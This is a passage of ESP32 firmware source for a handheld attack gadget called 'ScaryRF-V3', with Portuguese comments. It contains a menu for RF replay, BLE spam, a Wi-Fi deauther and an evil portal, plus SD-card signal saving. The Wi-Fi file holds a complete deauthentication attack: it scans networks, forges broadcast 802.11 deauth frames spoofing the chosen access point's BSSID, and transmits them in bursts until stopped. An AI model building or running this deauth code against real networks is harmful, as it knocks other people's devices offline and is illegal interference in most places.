STATE_RF_RAW; else if (strcmp(name, "Analyser") == 0) currentSystemState = STATE_RF_ANALYSER; else if (strcmp(name, "Random") == 0) currentSystemState = STATE_RF_RANDOM; else if (strcmp(name, "BLE Spam") == 0) currentSystemState = STATE_BLE_SPAM; else if (strcmp(name, "Deauther") == 0) currentSystemState = STATE_WIFI_DEAUTH; else if (strcmp(name, "Evil portal") == 0) currentSystemState = STATE_WIFI_EVIL_PORTAL; } } if (btnUp.isPressed() && current_state.menu != menu_entry_list) { current_state.menu = menu_entry_list; current_state.position = 0; drawMenu(¤t_state); } } void executeState() { switch (currentSystemState) { case STATE_RF_REPLAY: Detect(); currentSystemState = STATE_MENU; drawMenu(¤t_state); break; case STATE_RF_RAW: Raw(); currentSystemState = STATE_MENU; drawMenu(¤t_state); break; case STATE_RF_ANALYSER: Analyser(); currentSystemState = STATE_MENU; drawMenu(¤t_state); break; case STATE_RF_RANDOM: SendRandom(); currentSystemState = STATE_MENU; drawMenu(¤t_state); break; case STATE_BLE_SPAM: Blesetup(); Bleloop(); currentSystemState = STATE_MENU; drawMenu(¤t_state); break; case STATE_WIFI_DEAUTH: Deauther(); currentSystemState = STATE_MENU; drawMenu(¤t_state); break; case STATE_WIFI_EVIL_PORTAL: showMessage("In progress..."); delay(2000); currentSystemState = STATE_MENU; drawMenu(¤t_state); break; case STATE_MENU: default: handleMenuNavigation(); break; } } // ==================== SETUP PRINCIPAL ==================== void setup() { Serial.begin(115200); delay(500); Serial.println(F("\n\n=== ScaryRF Starting ===")); pinMode(FREQUENCY_SWITCH_PIN, INPUT_PULLUP); setupDisplay(); setupCC1101(); initSD(); // Tela inicial u8g2.clearBuffer(); u8g2.firstPage(); do { u8g2.drawXBMP(0, 0, scary_width, scary_height, scary_bits); } while (u8g2.nextPage()); // Aguarda qualquer botão while (!btnOk.isPressed() && !btnRight.isPressed() && !btnLeft.isPressed() && !btnUp.isPressed() && !btnDown.isPressed()) delay(10); Serial.println(F("Setup complete!")); } // ==================== LOOP PRINCIPAL ==================== void loop() { executeState(); delay(10); } ================================================ FILE: ScaryRF-V3/SdCard.ino ================================================ // ================= SD INIT ================= void initSD() { hspi.begin(SD_SCK, SD_MISO, SD_MOSI, SD_CS); if (!SD.begin(SD_CS, hspi)) { u8g2.clearBuffer(); u8g2.drawStr(0, 40, "SD FAIL"); u8g2.sendBuffer(); while (1); } u8g2.drawStr(0, 40, "SD CARD OK!.."); u8g2.sendBuffer(); delay(500); SD.mkdir("/Subghz"); } // ================= EDITOR DE NOME ================= char signalName[13]; int namePos = 0; int charIndex = 0; const char charset[] = " ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"; bool editSignalName() { memset(signalName, 0, sizeof(signalName)); namePos = 0; charIndex = 0; while (true) { u8g2.clearBuffer(); u8g2.drawStr(0, 10, "Name:"); u8g2.drawStr(0, 25, signalName); u8g2.drawStr(namePos * 6, 35, "^"); u8g2.drawStr(0, 55, "UP/DN:Char RT:Next LF:Del"); u8g2.sendBuffer(); if (btnUp.isPressed()) { charIndex = (charIndex - 1 + sizeof(charset)) % sizeof(charset); signalName[namePos] = charset[charIndex]; signalName[namePos + 1] = '\0'; } if (btnDown.isPressed()) { charIndex = (charIndex + 1) % sizeof(charset); signalName[namePos] = charset[charIndex]; signalName[namePos + 1] = '\0'; } // === AVANÇA POSIÇÃO === if (btnRight.isPressed() && namePos < 12) { namePos++; signalName[namePos] = charset[charIndex]; signalName[namePos + 1] = '\0'; } // === APAGA === if (btnLeft.isPressed() && namePos > 0) { signalName[namePos] = '\0'; namePos--; } // === CONFIRMA === if (btnOk.isPressed() && namePos >= 0) { return true; } // === CANCELA (UP + LEFT) === if (digitalRead(BTN_UP) == LOW && digitalRead(BTN_LEFT) == LOW) { return false; } } } // ================= SALVAR ================= void saveSignal() { if (!editSignalName()) return; String path = String("/Subghz/") + signalName + ".scrf"; File f = SD.open(path, FILE_WRITE); if (!f) return; f.print(signalName); f.print(";"); f.print(rfData.mhz, 2); f.print(";"); f.print(rfData.receivedProtocol); f.print(";"); f.print(rfData.receivedBitLength); f.print(";"); f.println(rfData.receivedValue); f.close(); showMessage("Saved!"); delay(500); } //================ DELETE =============== bool deleteFile(String path) { while (true) { u8g2.clearBuffer(); u8g2.drawStr(0, 20, "Delete file?"); u8g2.drawStr(0, 35, "OK = YES"); u8g2.drawStr(0, 50, "LEFT = NO"); u8g2.sendBuffer(); if (btnOk.isPressed()) { SD.remove(path); showMessage("Deleted"); delay(500); return true; } if (btnLeft.isPressed()) { return false; } } } ================================================ FILE: ScaryRF-V3/Wifi.ino ================================================ void Deauther() { showMessage("WiFi Deauther", "In development..."); delay(2000); WiFi.mode(WIFI_STA); esp_wifi_start(); int selectedNetwork = 0; int networkCount = 0; bool attacking = false; unsigned long lastDebounce = 0; const int debounceDelay = 200; // Scan inicial u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("Scanning networks..."); u8g2.sendBuffer(); WiFi.scanDelete(); networkCount = WiFi.scanNetworks(false, true); // passive=false, show_hidden=true if (networkCount <= 0) { u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("No networks found"); u8g2.sendBuffer(); delay(1500); return; } // Loop principal while (!btnUp.isPressed()) { // Debounce básico para navegação if (millis() - lastDebounce > debounceDelay) { if (!attacking) { // Navegação if (btnRight.isPressed()) { selectedNetwork = (selectedNetwork + 1) % networkCount; lastDebounce = millis(); } else if (btnLeft.isPressed()) { selectedNetwork = (selectedNetwork - 1 + networkCount) % networkCount; lastDebounce = millis(); } // Exibe rede selecionada u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Select network:"); u8g2.setCursor(0, 30); u8g2.print(WiFi.SSID(selectedNetwork)); u8g2.setCursor(0, 50); u8g2.print("OK:BTN Back:UP"); u8g2.sendBuffer(); // Inicia ataque if (btnOk.isPressed()) { attacking = true; // Definir canal do alvo (necessário para enviar pacotes 802.11) int targetChannel = WiFi.channel(selectedNetwork); esp_wifi_set_channel(targetChannel, WIFI_SECOND_CHAN_NONE); delay(10); // pequenas pausas após trocar canal } } else { // Modo ataque: prepara o pacote de deautenticação uint8_t deauthPacket[26] = { 0xC0, 0x00, 0x00, 0x00, // Type/Subtype: Deauth 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination (broadcast) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (substituir) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID (substituir) 0x00, 0x00, // Sequence number (will incrementar) 0x01, 0x00 // Reason: Unspecified }; // Copia BSSID (source + BSSID) const uint8_t* bssid = WiFi.BSSID(selectedNetwork); memcpy(&deauthPacket[10], bssid, 6); memcpy(&deauthPacket[16], bssid, 6); // Sequence control inicial uint16_t seq = 0; // Feedback visual u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Attacking:"); u8g2.setCursor(0, 30); u8g2.print(WiFi.SSID(selectedNetwork)); u8g2.setCursor(0, 50); u8g2.print("UP to stop"); u8g2.sendBuffer(); // Loop de envio até o operador parar while (!btnUp.isPressed()) { // Envia pacote múltiplas vezes por "rafaga" for (int i = 0; i < 10; i++) { // Atualiza sequence control (2 bytes) deauthPacket[22] = seq & 0xFF; deauthPacket[23] = (seq >> 8) & 0x0F; // 4 bits de fragment, 12 bits de seq -> truncado para segurança esp_wifi_80211_tx(WIFI_IF_STA, deauthPacket, sizeof(deauthPacket), false); seq++; delay(2); // pequeno gap para processamento } // Pequeno refresh do display para responsividade u8g2.setCursor(80, 50); u8g2.print(millis() / 1000); // tempo de ataque em segundos u8g2.sendBuffer(); // Permite cancelar pelo botão (debounce) if (btnUp.isPressed()) break; } // Parar ataque: restaura estado WiFi se quiser attacking = false; esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); // opcional: volta para canal 1 delay(100); } } // fim debounce delay(10); // loop-friendly } // fim while principal // Cleanup opcional esp_wifi_stop(); WiFi.mode(WIFI_OFF); showMessage("Deauther", "Stopped"); delay(800); }